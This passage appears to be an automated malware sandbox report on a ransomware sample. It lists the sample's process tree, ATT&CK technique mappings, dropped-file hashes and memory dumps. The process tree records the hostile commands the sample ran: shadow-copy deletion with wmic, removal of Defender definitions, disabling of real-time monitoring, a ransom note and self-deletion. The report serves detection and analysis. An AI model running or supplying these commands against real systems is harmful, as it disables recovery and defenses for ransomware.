  - Suspicious use of AdjustPrivilegeToken
  PID:368
- C:\Windows\SysWOW64\Wbem\wmic.exe
  wmic.exe SHADOWCOPY /nointeractive
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:3988
- C:\Windows\SysWOW64\Wbem\wmic.exe
  wmic.exe shadowcopy delete
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:2144
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c "C:\Program Files\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All
  2⤵
  PID:1308
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c powershell Set-MpPreference -DisableIOAVProtection $true
  2⤵
  PID:3912
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    powershell Set-MpPreference -DisableIOAVProtection $true
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    PID:3464
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c powershell Set-MpPreference -DisableRealtimeMonitoring $true
  2⤵
  PID:220
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    powershell Set-MpPreference -DisableRealtimeMonitoring $true
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    PID:3020
- C:\Windows\SysWOW64\notepad.exe
  notepad.exe C:\EGdu_HOW_TO_DECRYPT.txt
  2⤵
  - Opens file in notepad (likely ransom note)
  PID:4732
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /D /C ping.exe -n 5 127.0.0.1 && del "C:\Users\Admin\AppData\Local\Temp\windows_25bfec0c3c81ab55cf85a57367c14cc6803a03e2e9b4afd72e7bbca9420fe7c5.exe"
  2⤵
  PID:4568
- - C:\Windows\SysWOW64\PING.EXE
    ping.exe -n 5 127.0.0.1
    3⤵
    - Runs ping.exe
    PID:4696

C:\Windows\system32\NOTEPAD.EXE
"C:\Windows\system32\NOTEPAD.EXE" C:\EGdu_HOW_TO_DECRYPT.txt
1⤵
- Opens file in notepad (likely ransom note)
PID:3704

C:\Windows\system32\taskmgr.exe
"C:\Windows\system32\taskmgr.exe" /4
1⤵
- Checks SCSI registry key(s)
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
PID:2332

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\Documents\These.docx" /o ""
1⤵
PID:2236
- C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeC2RClient.exe
  OfficeC2RClient.exe /error PID=2236 ProcessName="Microsoft Word" UIType=3 ErrorSource=0x8b10082a ErrorCode=0x80004005 ShowUI=1
  2⤵
  - Process spawned unexpected child process
  - Suspicious use of SetWindowsHookEx
  PID:3148

C:\Windows\System32\rundll32.exe
C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
1⤵
PID:724

C:\Windows\system32\OpenWith.exe
C:\Windows\system32\OpenWith.exe -Embedding
1⤵
- Modifies registry class
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of SetWindowsHookEx
PID:4204
- C:\Windows\system32\NOTEPAD.EXE
  "C:\Windows\system32\NOTEPAD.EXE" C:\odt\config.xml.84dSP28BRf5CiZW4kAZXiU3WDZbhvlw3PHQfeXbSh2eqxSmyZJzKLvhvcOgAU3h3.uj1ps
  2⤵
  - Opens file in notepad (likely ransom note)
  PID:3672

C:\Windows\system32\NOTEPAD.EXE
"C:\Windows\system32\NOTEPAD.EXE" C:\odt\EGdu_HOW_TO_DECRYPT.txt
1⤵
- Opens file in notepad (likely ransom note)
PID:1716

C:\Windows\system32\taskmgr.exe
"C:\Windows\system32\taskmgr.exe" /4
1⤵
- Checks SCSI registry key(s)
- Checks processor information in registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
PID:4040

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe"
1⤵
- Enumerates system info in registry
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
PID:3700
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=89.0.4389.114 --initial-client-data=0x11c,0x120,0x124,0xf8,0x128,0x7ffc96f74f50,0x7ffc96f74f60,0x7ffc96f74f70
  2⤵
  PID:4264
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --field-trial-handle=1660,7777057964558561597,7035302755072284462,131072 --gpu-preferences=SAAAAAAAAADgAAAwAAAAAAAAAAAAAAAAAABgAAAAAAAoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB4AAAAAAAAAHgAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAAIAAAAAAAAAAgAAAAAAAAA --mojo-platform-channel-handle=1648 /prefetch:2
  2⤵
  PID:2260
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=1660,7777057964558561597,7035302755072284462,131072 --lang=en-US --service-sandbox-type=network --mojo-platform-channel-handle=2044 /prefetch:8
  2⤵
  PID:3716
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=1660,7777057964558561597,7035302755072284462,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2296 /prefetch:8
  2⤵
  PID:2604
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1660,7777057964558561597,7035302755072284462,131072 --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=2988 /prefetch:1
  2⤵
  PID:4812
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1660,7777057964558561597,7035302755072284462,131072 --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3184 /prefetch:1
  2⤵
  PID:4804
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1660,7777057964558561597,7035302755072284462,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=7 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3664 /prefetch:1
  2⤵
  PID:3336
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1660,7777057964558561597,7035302755072284462,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4544 /prefetch:8
  2⤵
  PID:3284
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1660,7777057964558561597,7035302755072284462,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4688 /prefetch:8
  2⤵
  PID:2112
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1660,7777057964558561597,7035302755072284462,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4736 /prefetch:8
  2⤵
  PID:548

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:4488

C:\Windows\system32\WerFault.exe
C:\Windows\system32\WerFault.exe -pss -s 424 -p 3012 -ip 3012
1⤵
PID:3476

C:\Windows\system32\WerFault.exe
C:\Windows\system32\WerFault.exe -u -p 3012 -s 2920
1⤵
- Program crash
PID:996

C:\Windows\system32\OpenWith.exe
C:\Windows\system32\OpenWith.exe -Embedding
1⤵
- Modifies registry class
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of SetWindowsHookEx
PID:4008
- C:\Windows\system32\NOTEPAD.EXE
  "C:\Windows\system32\NOTEPAD.EXE" C:\odt\config.xml.84dSP28BRf5CiZW4kAZXiU3WDZbhvlw3PHQfeXbSh2eqxSmyZJzKLvhvcOgAU3h3.uj1ps
  2⤵
  - Opens file in notepad (likely ransom note)
  PID:4968

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\Documents\Files.docx" /o ""
1⤵
PID:3204
- C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeC2RClient.exe
  OfficeC2RClient.exe /error PID=3204 ProcessName="Microsoft Word" UIType=3 ErrorSource=0x8b10082a ErrorCode=0x80004005 ShowUI=1
  2⤵
  - Process spawned unexpected child process
  - Suspicious use of SetWindowsHookEx
  PID:4816

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Modify Existing Service

T1031

Privilege Escalation

Defense Evasion

Disabling Security Tools

T1089

File Deletion

T1107

Indicator Removal on Host

T1070

Modify Registry

T1112

Credential Access

Credentials in Files

T1081

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

Remote System Discovery

T1018

System Information Discovery

T1082

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Exfiltration

Impact

Inhibit System Recovery

T1490

Replay Monitor

Loading Replay Monitor...

Downloads

C:\EGdu_HOW_TO_DECRYPT.txt

Filesize
1KB

MD5
4e68cfad3f3cbef5406c90fd9e9d7931

SHA1
504d53957bbed8e1a612c791eec7abdd17bd15bc

SHA256
51dc299391f9b3eca411936a0d01781ad68799d282655e0d20c8c8521aa8e014

SHA512
78c89847c3a7c128e5d54c3fff0e41c89a61722730b9d02d9c7e0b6985ce8188c3c37b6357a71c30f7e34c8b78f94599a186be6c189e56f6ccb832033e77172a

Download Submit
C:\Users\Admin\AppData\Local\D3DSCache\e8010882af4f153f\F4EB2D6C-ED2B-4BDD-AD9D-F913287E6768.idx

Filesize
64KB

MD5
d2fb266b97caff2086bf0fa74eddb6b2

SHA1
2f0061ce9c51b5b4fbab76b37fc6a540be7f805d

SHA256
b09f68b61d9ff5a7c7c8b10eee9447d4813ee0e866346e629e788cd4adecb66a

SHA512
c3ba95a538c1d266beb83334af755c34ce642a4178ab0f2e5f7822fd6821d3b68862a8b58f167a9294e6d913b08c1054a69b5d7aec2efdb3cf9796ed84de21a8

Download Submit
C:\Users\Admin\AppData\Local\D3DSCache\e8010882af4f153f\F4EB2D6C-ED2B-4BDD-AD9D-F913287E6768.lock

Filesize
4B

MD5
f49655f856acb8884cc0ace29216f511

SHA1
cb0f1f87ec0455ec349aaa950c600475ac7b7b6b

SHA256
7852fce59c67ddf1d6b8b997eaa1adfac004a9f3a91c37295de9223674011fba

SHA512
599e93d25b174524495ed29653052b3590133096404873318f05fd68f4c9a5c9a3b30574551141fbb73d7329d6be342699a17f3ae84554bab784776dfda2d5f8

Download Submit
C:\Users\Admin\AppData\Local\D3DSCache\e8010882af4f153f\F4EB2D6C-ED2B-4BDD-AD9D-F913287E6768.val

Filesize
944B

MD5
6bd369f7c74a28194c991ed1404da30f

SHA1
0f8e3f8ab822c9374409fe399b6bfe5d68cbd643

SHA256
878947d0ec814fe7c343cdebc05eebf00eb14f3023bdb3809a559e17f399fe5d

SHA512
8fc5f073dc9fa1e1ae47c60a5f06e0a48709fd6a4302dffaa721858409e7bde64bc6856d3fb28891090516d1a7afc542579de287778b5755eafe75cc67d45d93

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
968cb9309758126772781b83adb8a28f

SHA1
8da30e71accf186b2ba11da1797cf67f8f78b47c

SHA256
92099c10776bb7e3f2a8d1b82d4d40d0c4627e4f1bf754a6e58dfd2c2e97042a

SHA512
4bd50732f8af4d688d95999bddfd296115d7033ddc38f86c9fb1f47fde202bffa27e9088bebcaa3064ca946af2f5c1ca6cbde49d0907f0005c7ab42874515dd3

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules.xml

Filesize
97KB

MD5
b5f9de02e0d3b909bba32d4c29449e8e

SHA1
af14db9dc20f5fdfa51b69c25045295ca104bc13

SHA256
37f395557650b4cf0bf46721bede87af5b759952de35c63ca8509dc68a5c8f15

SHA512
1b131741d427cb147f7ac09fd03237f05ca4e1317fe4dbfd4564eb8a71d886a840e267adc3689c98ee15e7321ea0c547fabc85d6d6f1970236db214832fe62e8

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Office\OTele\officec2rclient.exe.db

Filesize
24KB

MD5
a6064fc9ce640751e063d9af443990da

SHA1
367a3a7d57bfb3e9a6ec356dfc411a5f14dfde2a

SHA256
5f72c11fd2fa88d8b8bfae1214551f8d5ee07b8895df824fa717ebbcec118a6c

SHA512
0e42dd8e341e2334eda1e19e1a344475ed3a0539a21c70ba2247f480c706ab8e2ff6dbeb790614cbde9fb547699b24e69c85c54e99ed77a08fe7e1d1b4b488d0

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
18KB

MD5
2b1280525223d429609fbe4da77a8d1c

SHA1
6f6d009c6270e0a107f609d0de4bbd5a86ae6b47

SHA256
e6df05fec03d814b59604816e16027b9b5f2b1a2d17c8dd5276eda9ed914186c

SHA512
20e17307d389d002bcc7555a0e3dcdff530b120091cce8e3cf2823d0613495703f4fcf7726d7947648f8e09fbaeb3187d6543b814d8af8115fb9a473147e92db

Download Submit
C:\odt\EGdu_HOW_TO_DECRYPT.txt

Filesize
1KB

MD5
4e68cfad3f3cbef5406c90fd9e9d7931

SHA1
504d53957bbed8e1a612c791eec7abdd17bd15bc

SHA256
51dc299391f9b3eca411936a0d01781ad68799d282655e0d20c8c8521aa8e014

SHA512
78c89847c3a7c128e5d54c3fff0e41c89a61722730b9d02d9c7e0b6985ce8188c3c37b6357a71c30f7e34c8b78f94599a186be6c189e56f6ccb832033e77172a

Download Submit
C:\odt\config.xml.84dSP28BRf5CiZW4kAZXiU3WDZbhvlw3PHQfeXbSh2eqxSmyZJzKLvhvcOgAU3h3.uj1ps

Filesize
688B

MD5
f062848d9ab634339d6322ff8ea96529

SHA1
22bd4f28f87d327f9a7cecb940f37dbfbe2ac2fe

SHA256
983c08f4586debbc1f8e2f5a35e5a25b857cf7084f25b0c1222eaa9d13d18731

SHA512
ef6b8aad7617ddf14b75a161dd058a723aa50625fed40ecaff4cfb314aa09d19ba1e7e32afeb1df3bc9bf1996bac50df7e646f5b7cdf336e602f7746e5a05835

Download Submit
\??\pipe\crashpad_3700_NSBAPVLFGGHDBRCK

MD5
d41d8cd98f00b204e9800998ecf8427e

SHA1
da39a3ee5e6b4b0d3255bfef95601890afd80709

SHA256
e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855

SHA512
cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e

Download Submit
memory/368-193-0x0000000000000000-mapping.dmp

Download
memory/408-180-0x0000000000000000-mapping.dmp

Download
memory/508-163-0x0000000000000000-mapping.dmp

Download
memory/1028-187-0x0000000000000000-mapping.dmp

Download
memory/1184-155-0x0000000000000000-mapping.dmp

Download
memory/1188-179-0x0000000000000000-mapping.dmp

Download
memory/1284-192-0x0000000000000000-mapping.dmp

Download
memory/1308-196-0x0000000000000000-mapping.dmp

Download
memory/1324-158-0x0000000000000000-mapping.dmp

Download
memory/1496-145-0x0000000000000000-mapping.dmp

Download
memory/1536-150-0x0000000000000000-mapping.dmp

Download
memory/1560-144-0x0000000000000000-mapping.dmp

Download
memory/1572-189-0x0000000000000000-mapping.dmp

Download
memory/1812-190-0x0000000000000000-mapping.dmp

Download
memory/1896-184-0x0000000000000000-mapping.dmp

Download
memory/1928-164-0x0000000000000000-mapping.dmp

Download
memory/1936-136-0x0000000000000000-mapping.dmp

Download
memory/2004-177-0x0000000000000000-mapping.dmp

Download
memory/2008-166-0x0000000000000000-mapping.dmp

Download
memory/2136-174-0x0000000000000000-mapping.dmp

Download
memory/2144-195-0x0000000000000000-mapping.dmp

Download
memory/2184-157-0x0000000000000000-mapping.dmp

Download
memory/2440-172-0x0000000000000000-mapping.dmp

Download
memory/2444-165-0x0000000000000000-mapping.dmp

Download
memory/2592-161-0x0000000000000000-mapping.dmp

Download
memory/2608-134-0x0000000000000000-mapping.dmp

Download
memory/2644-182-0x0000000000000000-mapping.dmp

Download
memory/2820-181-0x0000000000000000-mapping.dmp

Download
memory/2956-169-0x0000000000000000-mapping.dmp

Download
memory/3020-216-0x00000000750A0000-0x00000000750EC000-memory.dmp

Filesize
304KB

Download
memory/3100-140-0x0000000000000000-mapping.dmp

Download
memory/3184-135-0x0000000000000000-mapping.dmp

Download
memory/3264-146-0x0000000000000000-mapping.dmp

Download
memory/3396-148-0x0000000000000000-mapping.dmp

Download
memory/3404-173-0x0000000000000000-mapping.dmp

Download
memory/3404-147-0x0000000000000000-mapping.dmp

Download
memory/3428-143-0x0000000000000000-mapping.dmp

Download
memory/3464-201-0x00000000059B0000-0x0000000005A16000-memory.dmp

Filesize
408KB

Download
memory/3464-207-0x0000000008120000-0x000000000879A000-memory.dmp

Filesize
6.5MB

Download
memory/3464-199-0x0000000005B30000-0x0000000006158000-memory.dmp

Filesize
6.2MB

Download
memory/3464-213-0x0000000007DF0000-0x0000000007DF8000-memory.dmp

Filesize
32KB

Download
memory/3464-212-0x0000000007E10000-0x0000000007E2A000-memory.dmp

Filesize
104KB

Download
memory/3464-211-0x0000000007D00000-0x0000000007D0E000-memory.dmp

Filesize
56KB

Download
memory/3464-210-0x0000000007D50000-0x0000000007DE6000-memory.dmp

Filesize
600KB

Download
memory/3464-209-0x0000000007B50000-0x0000000007B5A000-memory.dmp

Filesize
40KB

Download
memory/3464-208-0x0000000007AD0000-0x0000000007AEA000-memory.dmp

Filesize
104KB

Download
memory/3464-198-0x0000000002EA0000-0x0000000002ED6000-memory.dmp

Filesize
216KB

Download
memory/3464-206-0x0000000006D70000-0x0000000006D8E000-memory.dmp

Filesize
120KB

Download
memory/3464-205-0x00000000750A0000-0x00000000750EC000-memory.dmp

Filesize
304KB

Download
memory/3464-204-0x0000000006DC0000-0x0000000006DF2000-memory.dmp

Filesize
200KB

Download
memory/3464-203-0x00000000067D0000-0x00000000067EE000-memory.dmp

Filesize
120KB

Download
memory/3464-202-0x0000000005A90000-0x0000000005AF6000-memory.dmp

Filesize
408KB

Download
memory/3464-200-0x0000000005800000-0x0000000005822000-memory.dmp

Filesize
136KB

Download
memory/3528-151-0x0000000000000000-mapping.dmp

Download
memory/3604-167-0x0000000000000000-mapping.dmp

Download
memory/3684-149-0x0000000000000000-mapping.dmp

Download
memory/3776-178-0x0000000000000000-mapping.dmp

Download
memory/3856-137-0x0000000000000000-mapping.dmp

Download
memory/3868-171-0x0000000000000000-mapping.dmp

Download
memory/3912-197-0x0000000000000000-mapping.dmp

Download
memory/3988-194-0x0000000000000000-mapping.dmp

Download
memory/3996-141-0x0000000000000000-mapping.dmp

Download
memory/4084-142-0x0000000000000000-mapping.dmp

Download
memory/4092-139-0x0000000000000000-mapping.dmp

Download
memory/4108-175-0x0000000000000000-mapping.dmp

Download
memory/4132-188-0x0000000000000000-mapping.dmp

Download
memory/4212-162-0x0000000000000000-mapping.dmp

Download
memory/4228-152-0x0000000000000000-mapping.dmp

Download
memory/4324-191-0x0000000000000000-mapping.dmp

Download
memory/4584-154-0x0000000000000000-mapping.dmp

Download
memory/4744-156-0x0000000000000000-mapping.dmp

Download
memory/4808-138-0x0000000000000000-mapping.dmp

Download
memory/4828-153-0x0000000000000000-mapping.dmp

Download
memory/4880-185-0x0000000000000000-mapping.dmp

Download
memory/4924-183-0x0000000000000000-mapping.dmp

Download
memory/4940-159-0x0000000000000000-mapping.dmp

Download
memory/4948-170-0x0000000000000000-mapping.dmp

Download
memory/4960-186-0x0000000000000000-mapping.dmp

Download
memory/4964-168-0x0000000000000000-mapping.dmp

Download
memory/5060-132-0x0000000000A20000-0x0000000000D32000-memory.dmp

Filesize
3.1MB

Download
memory/5060-224-0x0000000000A20000-0x0000000000D32000-memory.dmp

Filesize
3.1MB

Download
memory/5060-133-0x0000000000A20000-0x0000000000D32000-memory.dmp

Filesize
3.1MB

Download
memory/5076-160-0x0000000000000000-mapping.dmp

Download
memory/5112-176-0x0000000000000000-mapping.dmp

Download